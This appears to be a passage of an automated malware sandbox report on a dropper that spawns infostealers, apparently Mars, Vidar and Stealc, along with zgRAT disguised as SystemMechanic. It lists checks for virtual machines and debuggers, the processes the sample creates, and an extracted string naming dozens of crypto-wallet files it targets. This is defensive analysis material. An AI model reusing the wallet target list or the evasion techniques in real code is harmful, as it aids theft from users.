Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Datacenter without Hyper-V Core
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: QEMU_HARDU
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Standard without Hyper-V Full
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Enterprise without Hyper-V Core
Source: H6ohQMZygb.exe, 00000000.00000002.1985983001.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, H6ohQMZygb.exe, 00000000.00000002.1986143067.0000000004A86000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2121225212.0000000004242000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: u5e0.0.exe, 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Standard without Hyper-V Core
Source: u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: VMWARE_VIRTUAL
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Datacenter without Hyper-V Full
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Enterprise without Hyper-V Full
Source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4138258425.0000028F3DAD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	API call chain: ExitProcess graph end node	graph_1-68882
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	API call chain: ExitProcess graph end node	graph_1-69925
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	API call chain: ExitProcess graph end node	graph_1-68893
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	API call chain: ExitProcess graph end node	graph_1-68879
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	API call chain: ExitProcess graph end node	graph_1-68908
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	API call chain: ExitProcess graph end node	graph_1-68900
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	API call chain: ExitProcess graph end node	graph_1-68932
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Code function: 0_2_004107CB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_004107CB

Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Code function: 2_2_0115D15B VirtualProtect ?,-00000001,00000104,?,?,?,00000000

2_2_0115D15B

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

1_2_00416240

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_00413B77 mov eax, dword ptr fs:[00000030h]	0_2_00413B77
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0092B mov eax, dword ptr fs:[00000030h]	0_2_02E0092B
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E13DDE mov eax, dword ptr fs:[00000030h]	0_2_02E13DDE
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E00D90 mov eax, dword ptr fs:[00000030h]	0_2_02E00D90
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02EF7A73 push dword ptr fs:[00000030h]	0_2_02EF7A73
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00415DC0 mov eax, dword ptr fs:[00000030h]	1_2_00415DC0

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Code function: 0_2_00420DAA GetProcessHeap,

0_2_00420DAA

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_004107CB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004107CB
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_00409B03 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00409B03
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_00409C96 SetUnhandledExceptionFilter,	0_2_00409C96
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_00409F4E SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00409F4E
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E0A1B5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_02E0A1B5
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E10A32 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02E10A32
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E09EFD SetUnhandledExceptionFilter,	0_2_02E09EFD
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: 0_2_02E09D6A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_02E09D6A
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00419DC7 SetUnhandledExceptionFilter,	1_2_00419DC7
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00417B4E
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004173DD
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFCB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6BFCB1F7
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6BFCB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6BFCB66C
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: 1_2_6C17AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6C17AC62
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_0115C1FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0115C1FD
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: 2_2_01166678 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_01166678

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Code function: 1_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00415D00

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.0.exe "C:\Users\user\AppData\Local\Temp\u5e0.0.exe"	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe "C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe"	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.3.exe "C:\Users\user\AppData\Local\Temp\u5e0.3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process created: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe "C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Code function: 2_2_0105ABD0 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateMutexW,GetLastError,

2_2_0105ABD0

Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: TrayNotifyWndShell_TrayWnd
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWndtooltips_class32SVWU
Source: H6ohQMZygb.exe, 00000000.00000003.1825340881.0000000005A00000.00000004.00000020.00020000.00000000.sdmp, u5e0.3.exe, 00000004.00000000.1824422172.000000000041C000.00000020.00000001.01000000.0000000A.sdmp	Binary or memory string: Shell_TrayWndtooltips_class32S

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Code function: 0_2_00409DAB cpuid

0_2_00409DAB

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_004201F3
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: EnumSystemLocalesW,	0_2_00417281
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: EnumSystemLocalesW,	0_2_0042046B
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: EnumSystemLocalesW,	0_2_004204B6
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: EnumSystemLocalesW,	0_2_00420551
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_004205DE
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,	0_2_00417674
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,	0_2_0042082E
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00420957
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,	0_2_00420A5E
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00420B2B
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: EnumSystemLocalesW,	0_2_02E206D2
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: EnumSystemLocalesW,	0_2_02E207B8
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: EnumSystemLocalesW,	0_2_02E2071D
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: EnumSystemLocalesW,	0_2_02E174E8
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_02E2045A
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,	0_2_02E20A93
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,	0_2_02E20A95
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_02E20BBE
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,	0_2_02E178DB
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetLocaleInfoW,	0_2_02E20CC5
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_02E20D92
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	1_2_00414570
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,GetLastError,	2_2_01022990
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,GetLastError,	2_2_01022A30

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Code function: 0_2_004099FD GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_004099FD

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Code function: 1_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

1_2_004143C0

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Code function: 1_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

1_2_004144B0

Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe

Code function: 2_2_01062DA6 _memset,GetVersionExW,

2_2_01062DA6

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 1.2.u5e0.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.u5e0.0.exe.5bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.43c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.43c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.u5e0.0.exe.5bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f25170000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f25170000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dd70000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f3dd70000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000000.1987937645.0000028F1FC1B000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000001.00000002.2121225212.00000000041F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5e0.0.exe PID: 7156, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.u5e0.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.u5e0.0.exe.5bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.43c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.43c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.u5e0.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.u5e0.0.exe.5bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2121389961.00000000043C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1697193284.0000000005BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: u5e0.0.exe PID: 7156, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcb47a3.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fcc4dad.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f22fdd525.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f23028739.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f1fca537d.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.28f2300432f.6.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: u5e0.0.exe, 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
